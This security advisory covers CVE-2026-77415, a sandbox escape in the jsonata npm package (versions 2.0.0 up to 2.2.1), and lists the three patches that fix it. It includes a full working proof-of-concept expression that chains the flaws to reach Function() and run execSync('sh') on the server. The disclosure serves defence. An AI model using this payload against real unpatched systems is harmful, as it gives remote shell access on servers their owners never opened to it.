criticalCVE-2026-77415Aug 21, 2026

CVE-2026-77415: jsonata Arbitrary Code Execution via Crafted Expression

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A crafted JSONata expression can chain three logic flaws to escape the expression sandbox and run arbitrary operating system commands on the server.

Packagejsonata
Ecosystemnpm
Affected>= 2.0.0, < 2.2.1
Fixed in2.2.1
CVE-2026-77415: jsonata Arbitrary Code Execution via Crafted Expression

The problem

JSONata versions >= 2.0.0 and < 2.2.1 contain three related flaws that can be chained into full remote code execution.

First, $clone can be overwritten by the expression itself, letting an attacker mutate objects through the transform operator. Second, wildcard expansion (e.g., $merge.*) unwraps internal function objects, exposing their raw properties. Third, applyProcedure called proc.arguments.forEach directly instead of Array.prototype.forEach, so a poisoned arguments object could redirect the call to attacker-controlled code.

Together these let a crafted expression reach Function() and invoke process.getBuiltinModule('child_process') to run shell commands.

Proof of concept

A working proof-of-concept for CVE-2026-77415 in jsonata, with the exact payload below.

javascript
import jsonata from "jsonata";

const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

The exploit chains three weaknesses in sequence. Overwriting $clone with a plain pass-through function disables the safe-clone guard inside evaluateTransformExpression, allowing the transform operator to mutate live objects rather than copies.

With mutation available, the PoC uses ($merge.*)[1] to rip the raw JS function reference out of the built-in $merge lambda, then rewrites the expression object's arguments.forEach to point to attacker-controlled code. Because applyProcedure called proc.arguments.forEach instead of Array.prototype.forEach (PR #799 fixed this to use the safe prototype method), the poisoned property is invoked during the next procedure call.

From there the attacker obtains __proto__ via a captured getter, climbs to Function.constructor, and constructs a new function containing process.getBuiltinModule('child_process').execSync(...). PR #800 stopped wildcards from unwrapping function objects, and PR #802 blocked the internal _jsonata_lambda flag from being set via the transform operator, each removing a link in the chain.

The fix

Upgrade jsonata to 2.2.1 (or 1.8.8 for the v1 branch). The release applies three patches: PR #799 locks applyProcedure to use Array.prototype.forEach; PR #800 prevents wildcard expansion from exposing raw function internals; PR #802 blocks expressions from writing the _jsonata_lambda internal flag via the transform operator.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research